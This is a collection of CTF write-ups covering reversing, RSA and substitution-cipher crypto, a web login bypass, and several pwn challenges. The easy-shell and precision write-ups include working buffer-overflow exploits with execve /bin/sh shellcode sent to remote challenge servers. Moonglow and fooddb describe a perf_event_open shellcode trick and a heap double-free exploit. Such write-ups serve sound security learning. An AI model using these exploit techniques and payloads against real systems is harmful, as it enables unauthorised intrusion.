rax,0x9 0x4006a7: mov cl,BYTE PTR [rax-0x9]=> 0x4006aa: cmp cl,0x10 0x4006ad: je 0x4006b6 0x4006af: mov BYTE PTR [rdx],cl 0x4006b1: inc rdx 0x4006b4: jmp 0x4006a3[------------------------------------stack-------------------------------------]0000| 0x7fffffffdfe0 --> 0x7ffff7a431a8 --> 0xc001200002832 0008| 0x7fffffffdfe8 ('A' <repeats 16 times>)0016| 0x7fffffffdff0 ("AAAAAAAA")0024| 0x7fffffffdff8 --> 0x0 0032| 0x7fffffffe000 --> 0x1 0040| 0x7fffffffe008 --> 0x4008dd (add rbx,0x1)0048| 0x7fffffffe010 --> 0xf0b2dd 0056| 0x7fffffffe018 --> 0x0 [------------------------------------------------------------------------------]Legend: code, data, rodata, value Breakpoint 2, 0x00000000004006aa in ?? ()```If we notice RBP we'll se that our flag has started. Some continue's later: ```bash Continuing.[----------------------------------registers-----------------------------------]RAX: 0x6011d0 --> 0x1010107910691010 RBX: 0x7fffffffdfe8 ('A' <repeats 16 times>)RCX: 0x4141414141414110 RDX: 0x602037 --> 0x0 RSI: 0x7ffff7ff4011 --> 0x0 RDI: 0x7fffffffdff9 --> 0x100000000000000 RBP: 0x602010 ("hackover15{I_USE_GOTO_WHEREEVER_I_W4NT}")RSP: 0x7fffffffdfe0 --> 0x7ffff7a431a8 --> 0xc001200002832 RIP: 0x4006aa (cmp cl,0x10)R8 : 0x7ffff7ff4011 --> 0x0 R9 : 0x0 R10: 0x10 R11: 0x246 R12: 0x40077f (xor ebp,ebp)R13: 0x7fffffffe120 --> 0x1 R14: 0x0 R15: 0x0EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x40069e: mov eax,0x601068 0x4006a3: add rax,0x9 0x4006a7: mov cl,BYTE PTR [rax-0x9]=> 0x4006aa: cmp cl,0x10 0x4006ad: je 0x4006b6 0x4006af: mov BYTE PTR [rdx],cl 0x4006b1: inc rdx 0x4006b4: jmp 0x4006a3[------------------------------------stack-------------------------------------]0000| 0x7fffffffdfe0 --> 0x7ffff7a431a8 --> 0xc001200002832 0008| 0x7fffffffdfe8 ('A' <repeats 16 times>)0016| 0x7fffffffdff0 ("AAAAAAAA")0024| 0x7fffffffdff8 --> 0x0 0032| 0x7fffffffe000 --> 0x1 0040| 0x7fffffffe008 --> 0x4008dd (add rbx,0x1)0048| 0x7fffffffe010 --> 0xf0b2dd 0056| 0x7fffffffe018 --> 0x0 [------------------------------------------------------------------------------]Legend: code, data, rodata, value Breakpoint 2, 0x00000000004006aa in ?? ()gdb-peda$ Continuing. ACCESS DENIED[Inferior 1 (process 18192) exited normally]Warning: not running or target is remotegdb-peda$ ``` Flag > hackover15{I_USE_GOTO_WHEREEVER_I_W4NT}
## rsabin - Crypto 314 Problem - Writeup by Robert Xiao (@nneonneo) ### Description > Classical things?> > rsabin-a51076632142e074947b08396bf35ab2.tgz ### Solution We are given the flag encrypted with naïve RSA, with a 314-bit modulus and the unusual exponent 31415926535897932384. Furthermore, looking carefully we can see that the flag is 50 bytes (400 bits), which is *greater* than the modulus size. Therefore, some information has been lost in the encryption process. The first step is to factor the modulus. cado-nfs works well for this, factoring the number in less than half an hour on my laptop. The primes are p = 123722643358410276082662590855480232574295213977 q = 164184701914508585475304431352949988726937945291 Now, `gcd(e, (p-1)*(q-1)) == 16` and so `e` is *not* invertible. We can use the *pseudoinverse* `d` of `e` mod `(p-1)*(q-1)`, a number such that `c**d == m**(d*e) === m**16` mod n. To get the value of `m` mod n, we will have to compute the 16th root of `c**d`, and there are 16 such roots. If we know `m` mod n, we still have to recover the flag by finding the 86 missing bits. We assume that the flag is formatted normally, i.e. as `hitcon{...}`, which gives us 64 bits, and then bruteforce for the remaining 22 bits, which is completely feasible. The valid flag presumably contains only printable characters. The attached `solve.py` script implements this attack. It uses [Eli Bendersky's `modular_sqrt` function](http://eli.thegreenplace.net/2009/03/07/computing-modular-square-roots-in-python) to compute 16th roots of `c**d`, and tries the bruteforce for each root. After about 5 minutes, spits out the flag: hitcon{Congratz~~! Let's eat an apple pi <3.14159}
#Lawn Care Simulator **Category:** Web**Points:** 200**Description:** http://54.165.252.74:8089/ ##Write-upHitting the site, we are welcomed with the following site: ![Image of site](./Images/intro.png) After getting nowhere with the standard web attacks I started to mess with the grass feature which grew the grass little by little and giving "achievements" every so often for wasting your time. ![Image of achievement](./Images/achievement.png) Just for fun I modified the grass to grow quickly by calling the ```grow()``` function muliple times per click. ![Image of grass](./Images/grass.png) Ok, back to the challenge. Messing with the username/password fields I noticed that there was some client-side validation to ensure that values weren't empty upon submission. ![Image of username](./Images/username.png) Using burp I tried a few different tests with null values like ```null:null```, ```test:null```, and finally ```admin:null```. The latter produced: ![Image of empty](./Images/empty.png) ![Image of flag](./Images/flag.png)
$ nc 54.199.215.185 9004Hi, I can say 10 bytes :P`. /*/*/?`I think size = 10 is ok to me.cat flag >&2<span>hitcon{It's hard to say where ruby went wrong QwO}</span>
# writeups Writeups for CTFs by the team [ByteBandits](https://ctftime.org/team/13691) All writeups are organized in the pattern: ctf-name > problem-type > problem-name > author That is, very similar to that of the repo [writeups](https://github.com/ctfs/write-ups-2015) The repository also includes a small [search tool](search.py), through we can we can easily find writeups based on several conditions. Currently it just provides limited functionality and a crude command line interface.
[](ctf=hackover-2015)[](type=pwn)[](tags=buffer-overflow,ROP)[](tools=pwntools,gdb-peda)[](techniques=ROP) # easy-shell (pwn-75) We have a [zip](../easy_shell-2fdf5e4dea11c1e96f0a81971b096e48.tgz) file.Unzipping it gives us ```bash$ file easy_shelleasy_shell: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=db8c496a9a78e4d2b5088ef340c422f757888559, not stripped $ ./easy_shell .-"; ! ;"-. .'! : | : !`. /\ ! : ! : ! /\ /\ | ! :|: ! | /\ ( \ \ ; :!: ; / / ) ( `. \ | !:|:! | / .' ) (`. \ \ \!:|:!/ / / .') \ `.`.\ |!|! |/,'.' / `._`.\\\!!!// .'_.' `.`.\\|//.'.' |`._`n'_.'| "----^----">> nom nom, shell> AAAA```Easy shell should be easy. Lets start!Dump of assembler code for function main: ```objdump 0x080484d6 <+0>: lea ecx,[esp+0x4] 0x080484da <+4>: and esp,0xfffffff0 0x080484dd <+7>: push DWORD PTR [ecx-0x4] 0x080484e0 <+10>: push ebp 0x080484e1 <+11>: mov ebp,esp 0x080484e3 <+13>: push ecx=> 0x080484e4 <+14>: sub esp,0x4 0x080484e7 <+17>: call 0x804847b <do_stuff> 0x080484ec <+22>: mov eax,0x2a 0x080484f1 <+27>: add esp,0x4 0x080484f4 <+30>: pop ecx 0x080484f5 <+31>: pop ebp 0x080484f6 <+32>: lea esp,[ecx-0x4] 0x080484f9 <+35>: ret ```It calls another function do_stuff ```objdump 0x0804847b <+0>: push ebp 0x0804847c <+1>: mov ebp,esp 0x0804847e <+3>: sub esp,0x38 0x08048481 <+6>: mov eax,ds:0x80498ec 0x08048486 <+11>: sub esp,0xc 0x08048489 <+14>: push eax 0x0804848a <+15>: call 0x8048330 <printf@plt> 0x0804848f <+20>: add esp,0x10 0x08048492 <+23>: mov eax,ds:0x80498f0 0x08048497 <+28>: sub esp,0xc 0x0804849a <+31>: push eax 0x0804849b <+32>: call 0x8048340 <fflush@plt> 0x080484a0 <+37>: add esp,0x10 0x080484a3 <+40>: sub esp,0xc 0x080484a6 <+43>: push 0x804869a 0x080484ab <+48>: call 0x8048330 <printf@plt> 0x080484b0 <+53>: add esp,0x10 0x080484b3 <+56>: mov eax,ds:0x80498f0 0x080484b8 <+61>: sub esp,0xc 0x080484bb <+64>: push eax 0x080484bc <+65>: call 0x8048340 <fflush@plt> 0x080484c1 <+70>: add esp,0x10 0x080484c4 <+73>: sub esp,0xc 0x080484c7 <+76>: lea eax,[ebp-0x32] 0x080484ca <+79>: push eax 0x080484cb <+80>: call 0x8048350 <gets@plt> 0x080484d0 <+85>: add esp,0x10 0x080484d3 <+88>: nop 0x080484d4 <+89>: leave 0x080484d5 <+90>: ret ```So a gets call. This could mean buffer overflow as there is no stack check. We verify using pattern_create. ```bashgdb-peda$ checksecCANARY : disabledFORTIFY : disabledNX : disabledPIE : disabledRELRO : disabledgdb-peda$ pattern_create 100'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'gdb-peda$ b *0x080484d5Breakpoint 2 at 0x80484d5gdb-peda$ cContinuing. .-"; ! ;"-. .'! : | : !`. /\ ! : ! : ! /\ /\ | ! :|: ! | /\ ( \ \ ; :!: ; / / ) ( `. \ | !:|:! | / .' ) (`. \ \ \!:|:!/ / / .') \ `.`.\ |!|! |/,'.' / `._`.\\\!!!// .'_.' `.`.\\|//.'.' |`._`n'_.'| "----^----">> nom nom, shell> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALgdb-peda$ pattern_search Registers contain pattern buffer:EIP+0 found at offset: 54EBP+0 found at offset: 50Registers point to pattern buffer:[EAX] --> offset 0 - size ~100[ESP] --> offset 58 - size ~42```NX is not enabled.We get EIP overwrite at 54.Now our payload format could be : > nops+shellcode+ret_addr_to_buffer Only if we know the address of our shellcode.But we notice that when do_stuff rets EAX points to our buffer, as can be seen in pattern_search above. Well then we can use other technique called 'return to register'. If we can find an instruction 'call eax' in our binary we'll use it to launch our shellcode.ROPgadget is such a tool that hels us to find such 'gadgets'. ```bash$ ROPgadget --binary easy_shell | grep 'call eax'0x080483dd : adc al, 0x68 ; lock cwde ; add al, 8 ; call eax0x080483e1 : add al, 8 ; call eax0x080483e3 : call eax0x080483e0 : cwde ; add al, 8 ; call eax0x080483dc : in al, dx ; adc al, 0x68 ; lock cwde ; add al, 8 ; call eax0x080483da : in eax, -0x7d ; in al, dx ; adc al, 0x68 ; lock cwde ; add al, 8 ; call eax0x080483df : lock cwde ; add al, 8 ; call eax0x080483de : push 0x80498f0 ; call eax0x080483db : sub esp, 0x14 ; push 0x80498f0 ; call eax``` The instruction at 0x080483e3 is perfect. This will help to execute the payload without knowing the address of shellcode.Also its less work to do, locating the shellcode on the stack is too tiresome and a pain if ASLR is enabled. so now our payload format would be: > nops+shellcode+p32(0x080483e3) ```pythonfrom pwn import *s=remote('easy-shell.hackover.h4q.it',1337)for _ in range(10): print s.recvline(timeout=5)addr=p32(0x080483e3)payload="\x90"*(54-36)+"\x83\xec\x7f\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\x04\x05\x04\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80"s.send(payload+addr)s.interactive()``` The flag was located in /home/ctf.[Full exploit](easy_shell.py) in action. ![action](easy_shell.png)
#whiter0se **Category:** Crypto**Points:** 50**Description:** Note: The flag is the entire thing decrypted [eps1.7_wh1ter0se_2b007cf0ba9881d954e85eb475d0d5e4.m4v](eps1.7_wh1ter0se_2b007cf0ba9881d954e85eb475d0d5e4.m4v) ##Write-up Again, the file is ascii text: >```root@ctf:~/Downloads/CTF# file eps1.7_wh1ter0se_2b007cf0ba9881d954e85eb475d0d5e4.m4v eps1.7_wh1ter0se_2b007cf0ba9881d954e85eb475d0d5e4.m4v: ASCII textroot@ctf:~/Downloads/CTF# cat eps1.7_wh1ter0se_2b007cf0ba9881d954e85eb475d0d5e4.m4vEOY XF, AY VMU M UKFNY TOY YF UFWHYKAXZ EAZZHN. UFWHYKAXZ ZNMXPHN. UFWHYKAXZ EHMOYACOI. VH'JH EHHX CFTOUHP FX VKMY'U AX CNFXY FC OU. EOY VH KMJHX'Y EHHX IFFQAXZ MY VKMY'U MEFJH OU.>``` This looks like a single substitution cipher. Let's try rot13 with a perl oneliner: >```root@ctf:~/Downloads/CTF# perl -lpe 'y/A-Za-z/N-ZA-Mn-za-m/' eps1.7_wh1ter0se_2b007cf0ba9881d954e85eb475d0d5e4.m4vRBL KS, NL IZH Z HXSAL GBL LS HSJULXNKM RNMMUA. HSJULXNKM MAZKCUA. HSJULXNKM RUZBLNPBV. IU'WU RUUK PSGBHUC SK IXZL'H NK PASKL SP BH. RBL IU XZWUK'L RUUK VSSDNKM ZL IXZL'H ZRSWU BH.>``` Well, that's unfortunate. There's probably a better automated way to do it but I just put that command 26 times in a shell script and edited it for all possible values (rot1-25). I'll spare you the agony, it didn't work. So now we're dealing with a single substitution cipher that isn't based on rotating the charcters. To the internet! http://quipqiup.com/ ![quipquip ouput](./quipquip.out.png)
# Hackover 2015 CTF: yodigga ----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| Hackover CTF | yodigga | Crypto | 500 | *Description*>Watch out for trolls, they bite. >`nc yodigga.hackover.h4q.it 1342` ---------- ## Write-upAfter connecting to the server using `nc`, I faced some prompts who asking me to input the commands. ```What do you want? flag? source? maoam?cmd: flagNot that easy! cmd: maoamI wish there were real life adblockers ... cmd: source```and the *censored* server source code appeared (please check on this repo file named `yodigga.py`). So, we need to analyzing the source code to give a proper command. ### Hint #1```pythonif line.startswith('gimmeflag'): if check_magic(line): sys.stdout.write(FLAG) sys.stdout.write('\n')```So, we need a command starts with `gimmeflag`. ### Hint #2Second interesting code in `check_magic(x)` function is:```pythondef check_magic(x): if len(x) < 16384: return False ...```The command length **not less than 16,384** characters. ### Hint #3Third interesting code in `check_magic(x)` function is:```pythonm1, m2 = x[43:8043], x[8043:16043]try: m1 = base64.b64decode(m1) m2 = base64.b64decode(m2)except ValueError: return False```We need to get two encoded strings using `base64` at offset **43-8043** and offset **8043-16043**. ### Hint #4This part of the codes related with **hint #3** above. Still on `check_magic(x)` function:```pythonsecurity1 = secure_hash(m1) == secure_hash(m2)```This part is checking the hash of two decoded strings using MD5. So, we need to make two of decoded string identical. ### Hint #5```pythonsecurity2 = x.endswith('yodigga!')```Of course, the command must be ended with `yodigga!` string. ### Hint #6```pythonsecurity3 = diffie_hellman(ord(x[23]), ord(x[42]), ord(x[31]))```Well, there is a Diffie Hellman (?) function who passing three arguments value with 1 byte size for each arguments. I don't know what DH algorithm is, so I dig that function to find out what happened with DH function:```pythonP = """AD107E1E 9123A9D0 D660FAA7 9559C51F A20D64E5 683B9FD1B54B1597 B61D0A75 E6FA141D F95A56DB AF9A3C40 7BA1DF15... and many more ...""" G = """AC4032EF 4F2D9AE3 9DF30B5C 8FFDAC50 6CDEBE7B 89998CAF74866A08 CFE4FFE3 A6824A4E 10B9A6F0 DD921F01 A70C4AFA... and many more ...""" def diffie_hellman(a, b, c): return pow(make_int(G), c, make_int(P)) & 0xffff == a * b def make_int(x): return int(x.replace(' ', '').replace('\n', ''), 16)```The `diffie_hellman` function returning a boolean value. Our concents is how to make the passed arguments meets `true` condition. ### Hint #7Back to `check_magic` function:```pythonreturn security1 and security2 and security3```Of course, all conditions need to meets `true` to make sure our command is a good stuff. ## SolutionI needed to craft a command. Referred into **hint #1** and **hint #5**, we needed `gimmeflag` string at the first and `yodigga!` string at the end:```pythonstartwith = "gimmeflag"endwith = "yodigga!"``` Next, referred into hint #2, I need make the command length **not less than 16,384** characters, including `startwith` and `endwith`:```pythonstartwith = "gimmeflag"endwith = "yodigga!"command = startwith + "A"*16367 + endwith``` Next, referred into hint #3, I need insert two `base64` encoded string at offset 43-8043 and offset 8043-16043. To make sure that I have proper encoded stringand avoiding unnecessary padding, I will use `SPB` string to make encoded string `U1BC` have 4 bytes length, so I will repeat `UIBC` string until length reached 16,000 (8043-43)+(16043-8043) for the first encoded string and the second encoded string.```pythonstartwith = "gimmeflag"endwith = "yodigga!"command = startwith + "A"*34 + "U1BC"*4000 + "A"*335 + endwith # 16000 / len("U1BC") = 4000``` Referred into hint #6, I needed to pass three arguments (1 byte) at offset 23 as `a` argument, offset 42 as `b` argument, and offset 31 as `c` argument. Of course I need to place those arguments at proper offset. The argument values still don't know, we will find out later.```pythonstartwith = "gimmeflag"endwith = "yodigga!"arg_a = '\0' # offset 23arg_b = '\0' # offset 42arg_c = '\0' # offset 31command = startwith + "A"*14 + arg_a + "A"*7 + arg_c + "A"*10 + arg_b + "U1BC"*4000 + "A"*335 + endwith # 16000 / len("U1BC") = 4000``` I close to the party. But, I need to make sure `diffie_hellman` function returning `true` condition. So, I need to find out what are the proper argument values. I need to write small tool written in Python to simulate `diffie_hellman` return value:```pythonimport math P = """AD107E1E 9123A9D0 D660FAA7 9559C51F A20D64E5 683B9FD1B54B1597 B61D0A75 E6FA141D F95A56DB AF9A3C40 7BA1DF15EB3D688A 309C180E 1DE6B85A 1274A0A6 6D3F8152 AD6AC2129037C9ED EFDA4DF8 D91E8FEF 55B7394B 7AD5B7D0 B6C12207C9F98D11 ED34DBF6 C6BA0B2C 8BBC27BE 6A00E0A0 B9C49708B3BF8A31 70918836 81286130 BC8985DB 1602E714 415D9330278273C7 DE31EFDC 7310F712 1FD5A074 15987D9A DC0A486DCDF93ACC 44328387 315D75E1 98C641A4 80CD86A1 B9E587E8BE60E69C C928B2B9 C52172E4 13042E9B 23F10B0E 16E79763C9B53DCF 4BA80A29 E3FB73C1 6B8E75B9 7EF363E2 FFA31F71CF9DE538 4E71B81C 0AC4DFFE 0C10E64F"""G = """AC4032EF 4F2D9AE3 9DF30B5C 8FFDAC50 6CDEBE7B 89998CAF74866A08 CFE4FFE3 A6824A4E 10B9A6F0 DD921F01 A70C4AFAAB739D77 00C29F52 C57DB17C 620A8652 BE5E9001 A8D66AD7C1766910 1999024A F4D02727 5AC1348B B8A762D0 521BC98AE2471504 22EA1ED4 09939D54 DA7460CD B5F6C6B2 50717CBEF180EB34 118E98D1 19529A45 D6F83456 6E3025E3 16A330EFBB77A86F 0C1AB15B 051AE3D4 28C8F8AC B70A8137 150B8EEB10E183ED D19963DD D9E263E4 770589EF 6AA21E7F 5F2FF381B539CCE3 409D13CD 566AFBB4 8D6C0191 81E1BCFE 94B30269EDFE72FE 9B6AA4BD 7B5A0F1C 71CFFF4C 19C418E1 F6EC017981BC087F 2A7065B3 84B890D3 191F2BFA""" def make_int(x): return int(x.replace(' ', '').replace('\n', ''), 16) def diffie_hellman(c): return pow(make_int(G), c, make_int(P)) & 0xffff for i in xrange(255+1): dh = diffie_hellman(i) print 'Value: %d' % i + ' = ' + str(dh) + ' | Multiplier: %f' % math.sqrt(dh) # the condition is:# 1. pow() function is integer return value, max 65535# 2. 'a' and 'b' arguments are 1 byte, mean 255 for the number# so, we need to find out what is square root of 'dh' and the return is integer (no decimal places)# to place that sqrt's value into 'a' and 'b'``` After executing the script, I got the output like this:```~/hackover/yodigga$ python dh_check.pyValue: 0 = 1 | Multiplier: 1.000000Value: 1 = 11258 | Multiplier: 106.103723Value: 2 = 42245 | Multiplier: 205.535885Value: 3 = 26700 | Multiplier: 163.401346Value: 4 = 11583 | Multiplier: 107.624347Value: 5 = 51454 | Multiplier: 226.834742Value: 6 = 47641 | Multiplier: 218.268184Value: 7 = 60316 | Multiplier: 245.593160Value: 8 = 60608 | Multiplier: 246.186921Value: 9 = 59819 | Multiplier: 244.579231Value: 10 = 16416 | Multiplier: 128.124939Value: 11 = 15608 | Multiplier: 124.931981Value: 12 = 41236 | Multiplier: 203.066492Value: 13 = 32845 | Multiplier: 181.231896Value: 14 = 44436 | Multiplier: 210.798482Value: 15 = 36068 | Multiplier: 189.915771Value: 16 = 36656 | Multiplier: 191.457567Value: 17 = 3532 | Multiplier: 59.430632... and more ...... and more ...... and more ...Value: 250 = 47834 | Multiplier: 218.709853Value: 251 = 55839 | Multiplier: 236.302772Value: 252 = 57636 | Multiplier: 240.074988Value: 253 = 62608 | Multiplier: 250.215907Value: 254 = 19387 | Multiplier: 139.237208Value: 255 = 43720 | Multiplier: 209.09328```There's no sqrt-ed value have an integer, except value **0**. Finnaly, I got the proper values for `a`, `b`, and `c` arguments. Let's modify the command again:```pythonstartwith = "gimmeflag"endwith = "yodigga!"arg_a = '\1' # offset 23arg_b = '\1' # offset 42arg_c = '\0' # offset 31command = startwith + "A"*14 + arg_a + "A"*7 + arg_c + "A"*10 + arg_b + "U1BC"*4000 + "A"*335 + endwith # 16000 / len("U1BC") = 4000``` ## ExecutionThe challenge is using `nc` tool to communicating with their server. But, `nc` have input length limitation up to 1024 characters.I cannot send my very-very long command. Don't worry, there is [pwntools](https://github.com/Gallopsled/pwntools) to help our problem. With using Python, just fire up `python` as interactive shell and make a simple code:```python>>> from pwn import *>>> r = remote('yodigga.hackover.h4q.it', 1342)[*] Opening connection to yodigga.hackover.h4q.it on port 1342:[*] Opening connection to yodigga.hackover.h4q.it on port 1342: Trying 46.101.139.76[+] Opening connection to yodigga.hackover.h4q.it on port 1342: Done>>> startwith = "gimmeflag">>> endwith = "yodigga!">>> arg_a = '\1'>>> arg_b = '\1'>>> arg_c = '\0'>>> command = startwith + "A"*14 + arg_a + "A"*7 + arg_c + "A"*10 + arg_b + "U1BC"*4000 + "A"*335 + endwith>>> r.send(command + '\n')>>> r.interactive()hackover15{noNeedToBreakDHright?}``` ## ConclusionFlag is `hackover15{noNeedToBreakDHright?}`
# moonglow (misc 300) ## Description ```Moonglow is a type of Herb which appears as a bent stalk with a drooping blue-white flower. It grows in Jungle grass (surface Jungle and Underground Jungle) and can be cut with virtually any weapon or tool. It can also be planted in Clay Pots using Moonglow Seeds. nc 52.69.171.132 10001 moonglow.tgz_08f1639532677fb3f6c462cc74cd48f05dd20e60``` ## Story We got fairly close, but did not complete this in time before the game was over :/ Here we present a working solution for this challenge that we worked on *after* the competition ended. ## Solution Note that we use our custom shellcode compiler environment which is not shipped with this write-up. But the important part here is that `perf_event_open` syscall can be used to initiate the performance monitoring -- more importantly, you can set bits for sampling mmap data. Then, you can read the randomly generated filename (that contains the flag) in `PERF_RECORD_MMAP` record, which then can be opened and read to get the flag. ```Cvoid Main(void) { ... struct perf_event_attr pe; struct perf_event_mmap_page mp; memset(&pe, 0, sizeof(struct perf_event_attr)); pe.type = PERF_TYPE_SOFTWARE; pe.size = sizeof(struct perf_event_attr); pe.config = PERF_COUNT_SW_DUMMY; pe.disabled = 0; pe.exclude_kernel = 1; pe.exclude_hv = 1; pe.mmap = 1; pe.mmap_data = 1; char buf[1024]; memset(buf, 'A', 80); buf[80] = '\n'; int fd = Syscall(__NR_perf_event_open, &pe, 3, -1, -1, 0); char* rbuf = Syscall(__NR_mmap, NULL, 0x1000 + 0x4000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); Syscall(__NR_write, 1, buf, 81); struct timespec ts; ts.tv_sec = 1; ts.tv_nsec = 0; Syscall(__NR_nanosleep, &ts, &ts); fd = Syscall(__NR_open, rbuf+0x1028, 0, 0); Syscall(__NR_read, fd, buf, 100); SendLen(sockfd, buf, 100, 0); SendLen(sockfd, "\n", 1, 0); fail: Syscall(__NR_exit_group, 0);} ``` ## Flag Flag: `hitcon{M0oN$on4Ta !s 8eauti4, C0nta1ner 1$ Aw4}`
## precision (pwn, 100p, 272 solves) ### PL[ENG](#eng-version) > nc 54.173.98.115 1259 > [precision_a8f6f0590c177948fe06c76a1831e650](precision) Pobieramy udostępnioną binarkę i na początek sprawdzamy jakie utrudnienia przygotowali nam autorzy. ```# checksec.sh --file precisionRELRO STACK CANARY NX PIE RPATH RUNPATH FILEPartial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH precision```Widać, że nieduże ;). Krótka analiza w IDA pokazuje nam, że program:1. Realizuje własną wariację stack guard (dla małego utrudnienia jako liczbę zmiennoprzecinkową).2. Wypisuje adres bufora oraz za pomocą `scanf` pobiera do niego od nas dane (za pomocą specyfikatora `%s` nieograniczającego wielkość).3. Sprawdza wartość cookie/canary, wypisuje nasz bufor i wychodzi za pomocą zwykłego `ret`. Mamy więc do czynienia z prostym buffer overflow z umieszczeniem shellcode'u na stosie (brak NX oraz podany adres bufora). ```pythonimport socket s = socket.socket()s.connect(('54.173.98.115', 1259)) buf_addr = s.recv(17)[8:16] s.send('31c0b03001c430c050682f2f7368682f62696e89e389c1b0b0c0e804cd80c0e803cd80'.decode('hex').ljust(128, 'a')) # shellcode: execve /bin/shs.send('a5315a4755155040'.decode('hex')) # stack guards.send('aaaaaaaaaaaa') # paddings.send(buf_addr.decode('hex')[::-1]) # ret: buffer addresss.send('\n')print (s.recv(9999))s.send('cat flag\n')print (s.recv(9999))s.close()``` Oraz wynik: `flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}` ### ENG version > nc 54.173.98.115 1259 > [precision_a8f6f0590c177948fe06c76a1831e650](precision) We download the binary and start with checking what kind of obstacles were prepared: ```# checksec.sh --file precisionRELRO STACK CANARY NX PIE RPATH RUNPATH FILEPartial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH precision```As can be seen, not much ;). Short analysis in IDA shows us that the binary:1. Implements a custom stack guard (to make it a little bit harder, as s floating point number).2. Prints the buffer address and uses `scanf` to read input data (with `%s` without limiting the size of input)3. Checks the value of canary, prints the buffer and exits with `ret`. Therefore, we are dealing with a simplem buffer overflow with placing shellcode on the stack (no NX and explicitly printed out buffer address).The exploit: ```pythonimport socket s = socket.socket()s.connect(('54.173.98.115', 1259)) buf_addr = s.recv(17)[8:16] s.send('31c0b03001c430c050682f2f7368682f62696e89e389c1b0b0c0e804cd80c0e803cd80'.decode('hex').ljust(128, 'a')) # shellcode: execve /bin/shs.send('a5315a4755155040'.decode('hex')) # stack guards.send('aaaaaaaaaaaa') # paddings.send(buf_addr.decode('hex')[::-1]) # ret: buffer addresss.send('\n')print (s.recv(9999))s.send('cat flag\n')print (s.recv(9999))s.close()``` And the result: `flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}`
## Fooddb - Pwn 500 Problem - Writeup by Robert Xiao (@nneonneo) ### Description > Do you want some delicious food ?> nc 52.68.53.28 0xdada> > fooddb-e303c9bc733ca06044a7bd2b6ea12129> libc-3f6aaa980b58f7c7590dee12d731e099.so.6 ### Reversing The program implements a pretty simple "food database" written in C++ which allows you to insert, show, edit and delete foods, and insert and delete food types (categories). The strange thing is that the food's name is stored as a `char *` (when all other strings are stored as `std::string`). The `Food` structure looks like struct Food { char valid; // if unset, food will not be erased during "delete food" operation char renamed; // if set, further name changes are forbidden /* 6 bytes padding */ char *name; std::string type; }; When editing a food, the function `Food::rename` (`sub_346A`) will directly writes up to 8 bytes to the name if the input is <= 8 bytes. Otherwise, it `realloc`ates the name. ### Bug When renaming a food, you can specify the new name as `\x00AAAAAAAAA` (at least nine bytes starting with a null byte), which causes the rename function to call `realloc(food->name, 0)`. Under glibc (and as specified by POSIX), this frees the name and marks the food as invalid. However, the name pointer is not reset, leaving the modified `Food` with a freed pointer. Later, a vector resize can be triggered to cause the `Food` to be destructed, resulting in a double-free (this double-free cannot be triggered with a simple "remove food" due to the validity check). ### Exploit The double-free bug allows us to construct a Food that points at freed memory, and then use the 8-byte overwrite from the first branch of `Food::rename` to overwrite either the free heap metadata (in glibc, the "forwards" pointer) or the first 8 bytes of some heap structure. I didn't find any particularly useful allocated structures to overwrite (as `Food`'s first 8 bytes are just flags), so I chose to overwrite a free chunk. This allows me to allocate a fake object that overlaps with some real object, enabling a larger overwrite. We start by deleting all existing foods, since a later step requires that we create a food close to the start of the food vector. We setup the necessary fake memory chunk by abusing Food's `operator=` to memory-leak a name, arranging things so that it will be adjacent to the object we overwrite later. We then create a pair of objects, one "shadow" (index 0) and one "victim" (index 1) having equal-length names (which must both be shorter than the "fastbin" limit in glibc). We apply the bug to the victim, causing it to have a freed pointer. We can no longer rename or delete the victim directly. By adding a bunch of objects, the vector will resize. When this happens, it will allocate a second vector containing new shadow and new victim Foods. The new shadow Food will get a pointer to the previously freed name (because of the LIFO nature of glibc's fastbins). When the old vector is destroyed, the old victim is deallocated and the pointer is freed again - now the shadow Food points at the freed chunk, but it is still renamable. We rename the shadow Food to point the freed chunk's "forward pointer" at our fake chunk in memory. Creating a new Food with the right name length will result in two allocations. The first allocates our freed chunk, and the second allocates our fake chunk. The fake chunk is set up so that the end of it overlaps the new Food vector, and so the name written to the new Food will overflow into the Food vector. We use this overflow to write the address of glibc's `realloc_hook` to one of the Food names. There are two complications, however: first, we can't have any null bytes so the overflow must end at the name overwrite, and second, the overwrite will clobber the `renamed` flag of the target Food, causing it to be unrenamable. We get around the second problem by overwriting the Food that is being created (in our case, Food #4), so that upon return from the overwriting `memcpy`, the constructor will reset the renamed flag to zero. We get around the first problem by arranging our heap sizes carefully so that the overwrite will have the correct name length. Finally, if we are successful, we can simply edit the new Food and write a pointer to `system`, since the new Food's name points at the `realloc_hook`. We trigger our modified hook by creating a final object and editing it to trigger `realloc`, getting a shell and the flag. See the full exploit in `pwn.py`. ### Flag hitcon{sH3lL_1s_4_d3L1c10Us_f0oD_1S_N7_17}
